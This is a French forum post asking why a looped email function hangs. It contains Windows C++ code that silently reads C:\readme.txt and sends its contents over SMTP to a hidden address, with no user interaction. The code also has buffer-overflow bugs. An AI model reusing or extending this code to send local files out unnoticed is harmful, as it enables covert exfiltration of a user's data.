Oups j'ai complètement oublier de coller ma fonction mail.
J'ai déjà essayer une boucle infinie avec while(1) mais cela ne marcher pas. J'ai l'impréssion que la seconde fois que la fonction email est lancer elle ne se termine pas je ne vois pas trop pourquoi cela fait sa.
#define TAILLE_MAX 10000
#include <winsock.h>
#include
#include <string>
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <cstdio>
#include <sstream>
#include <fstream>
#pragma comment(lib,"ws2_32.lib")
SOCKET to_server_socket = 0;
char * server_name;
int port = 25;
char destinataire[120] = "RCPT To: <";
char sender[120] = "MAIL From: <";
char * exp;
char * dest;
char * sujet;
char * message;
char buffer[15];
char body[1100] = "Subject: ";
void bcopy( void * source, void * destination, int size )
{
char * src = ( char * ) source;
char * dst = ( char * ) destination;
for( int i=0; i<size; i++ )
dst[i] = src[i];
}
void bzero( void * destination, int size )
{
char * dst = ( char * ) destination;
for( int i=0; i<size; i++ )
dst[i] = 0x00;
}
void Process( char * buffer )
{
Sleep( 1000 );
int size = strlen( buffer );
int retVal = send( to_server_socket, buffer, size, 0 );
char buf[ 1024 ];
buf[0] = 0x00;
while( !buf[0] )
int yeah = recv( to_server_socket, buf, 1024, 0 );
}
int email()
{
std::string contenue = "";
FILE* fichier = NULL;
char chaine[TAILLE_MAX] = "";
fichier = fopen("C:\\readme.txt", "r");
if (fichier != NULL)
{
while (fgets(chaine, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL)
{
contenue += chaine;
}
fclose(fichier);
}
//FILE* fichier2 = NULL;
//fichier2 = fopen("C:\\readme.txt", "w+" );
//fclose(fichier2);
const char *CstStr2 = contenue.c_str ();
if (contenue == "")
{
return 0;
}
if (strcmp(CstStr2,buffer) == 0) {
exit( -1 );
}
int not = 0;
unsigned long ioctl_blocking = 1;
/*cout<<"Entrez le nom du serveur smtp ou son ip\n";
cin>>server_name;
cout<<"Entrez l'adresse email de l'expediteur\n";
cin>>exp;
cout<<"\nEntrez l'adresse email du destinataire\n";
cin>>dest;
cout<<"\nEntrez le sujet du mail\n";
cin>>sujet;
cout<<"\nEntrez votre message\n";
cin>>message;*/
server_name = "smtp.orange.fr";
exp = "******";
dest = "*****";
sujet = "le sujet";
strcat(sender,exp);
strcat(sender,">\r\n");
strcat(destinataire,dest);
strcat(destinataire,">\r\n");
strcat(body,sujet);
strcat(body," \r\n\r\n ");
strcat(body,CstStr2);
strcat(body," \r\n.\r\n");
WSADATA wsaData;
if( int err = WSAStartup( 0x0101, &wsaData ) )
{
exit( -1 );
}
struct sockaddr_in serverSockAddr; // addresse de la socket
struct hostent * serverHostEnt; // description du host serveur
long hostAddr; // addr du serveur
bzero( &serverSockAddr, sizeof( serverSockAddr ) ); // initialise a zero serverSockAddr
// converti l'adresse ip 9.100.1.1 en entier long
hostAddr = inet_addr( server_name );
if( ( long ) hostAddr != ( long ) -1 )
bcopy( &hostAddr, &serverSockAddr.sin_addr, sizeof( hostAddr ) );
else // si on a donne un nom
{
serverHostEnt = gethostbyname( server_name );
if ( serverHostEnt == NULL )
{
exit( 0 );
}
bcopy( serverHostEnt->h_addr, &serverSockAddr.sin_addr, serverHostEnt->h_length );
}
serverSockAddr.sin_port = htons( port ); // host to network port
serverSockAddr.sin_family = AF_INET; // AF_*** : INET=internet
// creation de la socket
to_server_socket = socket( AF_INET, SOCK_STREAM, 0 );
if ( to_server_socket < 0)
{
exit( 0 );
}
setsockopt(to_server_socket, SOL_SOCKET, SO_DONTLINGER, (char *) ¬, sizeof(not));
// requete de connexion
if( connect( to_server_socket, ( struct sockaddr * ) &serverSockAddr,
sizeof( serverSockAddr ) ) < 0 )
{
exit( 0 );
}
ioctlsocket ( to_server_socket, FIONBIO, &ioctl_blocking );
char buf[ 1024 ];
buf[0] = 0x00;
while( !buf[0] )
int yeah = recv( to_server_socket, buf, 1024, 0 );
Process( "EHLO Toto\r\n" );
Process( sender ); // mail de l'expediteur
Process( destinataire ); // mail du destinataire
Process( "DATA\r\n" );
Process( body );
Process( "QUIT\r\n" );
/* fermeture de la connection */
shutdown( to_server_socket, 2 );
contenue.erase();
closesocket( to_server_socket );
return 0;
}
jérémy